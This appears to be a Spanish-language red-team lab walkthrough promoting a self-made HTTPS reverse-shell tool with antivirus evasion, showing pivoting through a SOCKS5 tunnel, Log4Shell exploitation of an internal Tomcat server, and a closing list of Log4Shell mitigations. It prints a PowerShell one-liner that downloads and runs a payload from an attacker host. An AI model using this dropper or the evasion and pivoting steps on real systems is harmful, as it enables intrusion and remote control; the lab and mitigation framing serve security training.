en mis tiempos libres me gusta programar herramientas ofensivas para distintos tipos de escenarios quiero compartirles una prueba de concepto de insector es una tool que nos ofrece una Shell por HTTPS aparentemente simple pero poderosa :)
CARACTERISTICAS
- Servidor multiplataforma
- comunicacion encriptada haciendo uso de TLS 1.2
- captura de pantalla
- movimiento entre directorios
- Proxy inverso socks5
- evasion de AVS
en la captura se evidencia la ejecucion de comandos remota sin ser detectado por Bitdefender a la fecha.
puesta en marcha a continuacion veremos a insector en accion
ESCENARIO RED TEAM
Nos enfrentamos en un escenario de emulacion de adversario en ambientes controlados en efecto como operadores del equipo rojo realizaremos el compromiso inicial sobre el PC-01
en la siguiente imagen se aprecia la topologia de red usada en el escenario del laboratorio
- Pfsense => 192.168.1.8
- PC-01 maquina con salida a internet => 192.168.10.10
- PC-02 maquina en red interna => 172.16.0.11
despues de comprometer el PC-01 y colarnos en la red procedemos a realizar un reconocimiento interno
- conexiones activas
- tabla arp
con el comando whoami identicamos el usuario frank el cual hacer parte del grupo local de administradores un punto positivo para un atacante.
Despues de buscar un poco entre procesos rutas y escazamente con la terminal sin hacer uso de scripts externos de enumeracion y escaneos de puertos basados en powershell para sacar el mayor provecho teniendo en cuenta que se deben modificar para poder generar un bypass al antivirus y poder ejecutar en memoria .
revisamos los bookmarks del navegador y econtramos algo muy interesante
Encontramos una url localmente en el historial del navegador
procedemos a validar con curl aprovechando que insector nos brinda una poderosa consola de powershell
encontramos un servidor web Up apache Tomcat 8.5.75
el cual tiene mutiples vulnerabilidades asociadas referentes a su version
Y AHORA ?
tenemos un servidor local que se encuentra en otro segmento de red con ip 172.16.0.11
⚠️ahora sabemos que tenemos comunicacion entre redes internas pero no tenemos alcance a su panel web o la posibilidad de usar diferentes tipos de herramientas externas !!!
💡💡💡 Insector nos ofrece establecer un proxy socks 5 sobre la maquina comprometida para establecer un tunnel
aprovechando la caracteristica de insector sobre su proxy socks5 el cual nos genera un tunel inverso remotamente sobrel el puerto
127.0.0.1:1085
y haciendo uso de criptografia para el intercambio de huella dactilar
configuraremos en nuestra maquina atacante el archivo proxychains apuntando hacia el puerto 1085 y cambiando el tipo de socks 4 => 5
en esta fase tenemos configurado un túnel para acceder a los recursos del servidor interno.
- TLS 1.2
- SOCKS5
- MULTIPLATAFORMA
con proxychains desde la maquina atacante vps logramos tener alcance al ip local 172.16.0.11
curl atravez de proxy
en la siguiente fase realizaremos un fuzzing para detectar posibles directorios en este caso usaremos dirb tunelizado
despues de esperar un poco por la conexion pivote del tunnel encontramos un directorio (app) realizamos un curl para validar y encontramos posiblemente un end point vulnerable href=> servlet a Log4Shell (CVE-2021–44228)
Log4Shell es una vulnerabilidad de software en Apache Log4j 2 , una popular biblioteca de Java para registrar mensajes de error en las aplicaciones. La vulnerabilidad, publicada como CVE-2021–44228 , permite que un atacante remoto tome el control de un dispositivo en Internet si el dispositivo ejecuta ciertas versiones de Log4j 2.
nos queda mas que validar si en el endpoint final podemos realizar inyecciones LDAP remotamente
EXPLOTACION LOG4SHELL
JNDI-Exploit-Kit
se puede utilizar para iniciar un servidor HTTP, un servidor RMI y un servidor LDAP para explotar las aplicaciones web Java vulnerables a la inyección JNDI）
generamos un payload para realizar una inyeccion LDAP remota de consulta
RESPONSE JNDI
RESPONSE JNDI
VALIDACION PC-02 CON ANTIVIRUS
Ahora que podemos inyectar comandos remotos generaremos una shell reverse bypass BITDEFENDER tener en cuenta que la shell generada debe tener capacidad de evasion sin esta cualidad no es posible lograr la conexion ya que el antivirus lo detectaria
oneliner droper
iex(new-object net.webclient).downloadstring(“http://ip-atacante/shell.png")
Codificamos en base64
Netcat 9090
Procesos corriendo bitdefender activo
MITIGACION LOG4SHELL
- Identificar todos los activos que sean accesibles a través de Internet que permitan la entrada de datos por parte del usuario y utilicen la librería Log4j en algún lugar de su infraestructura.
- Identificar todos los activos que utilicen Log4j.
- Actualizar o aislar los activos afectados. Una vez identificados, la organización deberá buscar indicadores de compromiso y patrones habituales de actividades de post-explotación. Se asumirá que el activo ha sido comprometido.
- Monitorizar patrones de tráfico poco habitual. Por ejemplo, tráfico de salida relacionado con los protocolos JNDI, LDAP/RMI, DNS o DMZ.
- Desactivar el software que utilice la librería. Lo que podría limitar la visibilidad de otros problemas operacionales, al ser ĺa librería encargada de tomar registros.
- Bloquear las búsquedas JNDI. Es una opción efectiva, pero que puede requerir un trabajo de desarrollo y una pérdida de funcionalidad.
- Desconectar temporalmente las infraestructuras afectadas. Esto reduciría la posibilidad de un ataque.
- Crear una red aislada para separar las infraestructuras afectadas del resto de la red de la entidad.
- Desplegar un WAF para proteger a las infraestructuras afectadas. Si bien no es una solución completa, puede ayudar a reducir el número de amenazas.
- Aplicar micro-parches. Existen algunas soluciones que no forman parte de la actualización oficial pero que pueden ayudar a mitigar los riesgos para algunos casos concretos.
